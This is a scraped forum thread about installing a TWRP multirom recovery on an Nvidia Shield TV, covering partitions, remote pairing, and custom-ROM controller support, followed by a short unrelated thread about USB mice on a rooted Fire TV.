Hi Steel01, . Also, If I wanted to load another rom at some point, is it as simple as booting to the twrp screen and selecting install? Hope that doesn't sound like a dumb question, I'm just a little unsure of that exact process. thanks
Click to expand...
Click to collapse
Yes with TWRP it is very easy to flash a new rom, it is also recommended to use the recovery roms for updating your system.
Instead of running the OTO updates because this will undo your Root modification and reinstall the original recovery partition.
Download the correct firmware from this forum from the nvidia developers network, place it on a SD card boot to recovery and flash.
As a final suggestion have a look at the Flashify utllity (not compatible yet) or similar from the appstore, that a simple front end for flashing & backing up boot and recovery partitions. And it will enable you to boot to recovery in one click.
I have TWRP running on my Shield Portable / Shield Tablet without any problems.
Enjoy

Josti-Band said:
Do not worry and follow these simple steps to fix your remote controller problem:
This is quite normal after a system reset or wipe.
If the remote did not connect:
If the microphone symbol is not flashing, hold down the back and home buttons at the same time until it flashes (3 seconds).
If the microphone symbol does not flash after holding for 3 seconds, charge the remote and try again.
To charge the remote, connect it to one of the USB ports on the back of your SHIELD with the included USB cable or connect it to another USB power source.
---------- Post added at 06:08 AM ---------- Previous post was at 06:01 AM ----------
Yes with TWRP it is very easy to flash a new rom, it is also recommended to use the recovery roms for updating your system.
Instead of running the OTO updates because this will undo your Root modification and reinstall the original recovery partition.
Download the correct firmware from this forum from the nvidia developers network, place it on a SD card boot to recovery and flash.
As a final suggestion have a look at the Flashify utllity (not compatible yet) or similar from the appstore, that a simple front end for flashing & backing up boot and recovery partitions. And it will enable you to boot to recovery in one click.
I have TWRP running on my Shield Portable / Shield Tablet without any problems.
Enjoy
Click to expand...
Click to collapse
Thanks Josti-Band , that fixed my remote, I appreciate it greatly. Thanks also for the info on flashing, I'm still have one more question, when I flashed the img file from this thread TWRP, did I change the rom or just the recovery? It seems like the rom is the original that was on the shield tv, If rom was not changed do you or anyone else have a recommendation. Thanks again for the assistance.

cdsn99 said:
Thanks Josti-Band , that fixed my remote, I appreciate it greatly. Thanks also for the info on flashing, I'm still have one more question, when I flashed the img file from this thread TWRP, did I change the rom or just the recovery? It seems like the rom is the original that was on the shield tv, If rom was not changed do you or anyone else have a recommendation. Thanks again for the assistance.
Click to expand...
Click to collapse
No Problem, Your Shield TV has basically 3 partitions (to keep it simple)
1) Boot
2) Recovery
3) OS/Data (Rom)
With the steps you have followed
a) you unlocked your 1) bootloader, to enable the installation of unsigned packages to make this possible your personal data was erased/wiped from the 3) OS/Data partition.
b) Then you applied a new TWRP image to the recovery partition an replacing the old one.
So your 3) OS/Data (Rom) is still the original one you only wiped the personal data clean when unlocking the bootloader, this also the partition you will write your updated recovery images to. And stay updated.

I have TWRP running on my Shield Portable / Shield Tablet without any problems.
Enjoy[/QUOTE]
Josti-Band said:
No Problem, Your Shield TV has basically 3 partitions (to keep it simple)
1) Boot
2) Recovery
3) OS/Data (Rom)
With the steps you have followed
a) you unlocked your 1) bootloader, to enable the installation of unsigned packages to make this possible your personal data was erased/wiped from the 3) OS/Data partition.
b) Then you applied a new TWRP image to the recovery partition an replacing the old one.
So your 3) OS/Data (Rom) is still the original one you only wiped the personal data clean when unlocking the bootloader, this also the partition you will write your updated recovery images to. And stay updated.
Click to expand...
Click to collapse
Thank you, that makes better sense, I will try and load a rom and gapps and see how it goes. thanks again for the assistance

Steel01 said:
2. My wireless keyboard / mouse combo (an old Logitech MX something or another) fails to initialize the mouse on boot. I have to unplug and replug the USB receiver for the mouse to work. My wired mouse doesn't do this. I'm curious if anyone else sees a similar problem or if there's something weird with my hardware.
Hi Steel01 , I have a logitech k400r wireless keyboard and mouse, it seemed to work ok, except was very laggy, had to wait for it a few seconds each time I went to move the mouse, and sometimes mouse would freeze.
Click to expand...
Click to collapse

I have edited and deleted the orginal text from this post,and moved it to it's own thread. I realized I was beginning to hijack steels thread, I couldn't find a way to just delete the whole post, sorry.

Tassadar merged TWRP 2.8.7.0 into his multirom twrp fork today. So I ran new builds for everything I support. Unfortunately, I have not been able to test this device (TV's been busy all night), so YMMV. The other builds came off fine, so I don't see why this one should have any problems the last build didn't. Of interest in this build is the partition resize feature. So if someone does something weird like I did and ends up with an 11 GB data partition on the pro, it'll be *much* easier and quicker to fix now. Build is in the OP.

Steel01 said:
Tassadar merged TWRP 2.8.7.0 into his multirom twrp fork today. So I ran new builds for everything I support. Unfortunately, I have not been able to test this device (TV's been busy all night), so YMMV. The other builds came off fine, so I don't see why this one should have any problems the last build didn't. Of interest in this build is the partition resize feature. So if someone does something weird like I did and ends up with an 11 GB data partition on the pro, it'll be *much* easier and quicker to fix now. Build is in the OP.
Click to expand...
Click to collapse
What about the kexec-hardboot patch ? Do you have already tried it ?
The others binary for multirom execution are the same for all arm64 devices like the nexus 9 or we need a specific build for shield ? I never played with multirom stuff. There are specific problems to solve ? In case i can help you with experiments if you don't have much time.
P.S.
I tried your patch for the framework and all others new Nvidia binary + resigned private apk like blakepairing and others. But this year Nvidia added many others things to the framework. You can see by yourself with dex2jar.
It's a shame that for a stupid controller there are all this bloatware inside the firmware. Very bad behaviour, that a so big company not publish drivers for an hardware that we have bought. Fortunately we can use also better wireless controllers. But this fact really remove 10000 points from Nvidia as good company.

I've worked very little on the multirom side of things. The kernel repo has a mrom branch with a kexec patch, which still boots to stock. However, there's something getting triggered in the multirom init program that is skipping the boot screen. I haven't tried to track that down yet.
The controller part is off-topic, but there isn't really anywhere else to discuss it yet. Maybe I'll open a CM thread for discussion and put not working in bold at the top. Anyways, the framework patches work with the blakepairing shipped with the Shield TV, that's what I ship with my portable and tablet builds. But you have to deodex and stuff the class file back in the apk. Or easier, use the one in my vendor repo and just resign it. That should at least run. On a side note, the underlying technologies are all open source. WiFi Direct, wps, hid, etc. It just a standard USB hid controller with a WiFi chip and USB sound card. It's driven by an xmega (iirc) as well, those are all pretty open. It's obfuscation atm that stops me from completely reimplementing the pairing open source.

Steel01 said:
I've worked very little on the multirom side of things. The kernel repo has a mrom branch with a kexec patch, which still boots to stock. However, there's something getting triggered in the multirom init program that is skipping the boot screen. I haven't tried to track that down yet.
The controller part is off-topic, but there isn't really anywhere else to discuss it yet. Maybe I'll open a CM thread for discussion and put not working in bold at the top. Anyways, the framework patches work with the blakepairing shipped with the Shield TV, that's what I ship with my portable and tablet builds. But you have to deodex and stuff the class file back in the apk. Or easier, use the one in my vendor repo and just resign it. That should at least run. On a side note, the underlying technologies are all open source. WiFi Direct, wps, hid, etc. It just a standard USB hid controller with a WiFi chip and USB sound card. It's driven by an xmega (iirc) as well, those are all pretty open. It's obfuscation atm that stops me from completely reimplementing the pairing open source.
Click to expand...
Click to collapse
Already tried all. deodexed and resigned stock stuff, also used your framework patch and your (resigned) apks . not work in shield console. as i write above in shield console there are others proprietary things in the framework. Tested also with your wpa_supplicant and hostapd but the result does not change.
In any way i will retry
We can discuss in a separate thread. sorry for off-topic. can be useful also for others developers

This is very interesting, please continue with this work! Would be great to get the remote working on other ROMs.
Thanks!
Steel01 said:
I've worked very little on the multirom side of things. The kernel repo has a mrom branch with a kexec patch, which still boots to stock. However, there's something getting triggered in the multirom init program that is skipping the boot screen. I haven't tried to track that down yet.
The controller part is off-topic, but there isn't really anywhere else to discuss it yet. Maybe I'll open a CM thread for discussion and put not working in bold at the top. Anyways, the framework patches work with the blakepairing shipped with the Shield TV, that's what I ship with my portable and tablet builds. But you have to deodex and stuff the class file back in the apk. Or easier, use the one in my vendor repo and just resign it. That should at least run. On a side note, the underlying technologies are all open source. WiFi Direct, wps, hid, etc. It just a standard USB hid controller with a WiFi chip and USB sound card. It's driven by an xmega (iirc) as well, those are all pretty open. It's obfuscation atm that stops me from completely reimplementing the pairing open source.
Click to expand...
Click to collapse

Steel01 said:
I
KNOWN PROBLEMS:
1. This is a multirom edition of twrp, but there's no multirom support yet.
2. My wireless keyboard / mouse combo (an old Logitech MX something or another) fails to initialize the mouse on boot. I have to unplug and replug the USB receiver for the mouse to work. My wired mouse doesn't do this. I'm curious if anyone else sees a similar problem or if there's something weird with my hardware.
Click to expand...
Click to collapse
I have a logitech K830 keyboard with trackpad and have exactly the same issue as you. I have to unplug and replug the usb receiver before it will work with the recovery.
The recovery itself is working great for me. I can access my external usb hd from the file manager, and I did a TWRP backup to the external usb drive last night :good: Ive sideloaded this app to boot straight into the recovery from the TV.. https://play.google.com/store/apps/details?id=gt.reboot.utility

AFTV2: USB Not Working After Rooting

USB Not working since rooted AFTV2
Hi, Since rooting my AFTV2 , i an unable to use wired mouse on USB. Therefor unable to use Show box or Popcorn.
Is there a solution ?

http://forum.xda-developers.com/fire-tv/themes-apps/useful-app-to-ftv-stick-remote-mouse-t3185049

USB not working after rooting AFVT2
roligov said:
http://forum.xda-developers.com/fire-tv/themes-apps/useful-app-to-ftv-stick-remote-mouse-t3185049
Click to expand...
Click to collapse
Thanks for the link just what i want it looks good , as i don't have an google play account i will have to contact the developer.

If you look at the first post in that thread there are APK attachments of the app.

see if you have usb debugging enabled and disable it. (the choice below enable adb)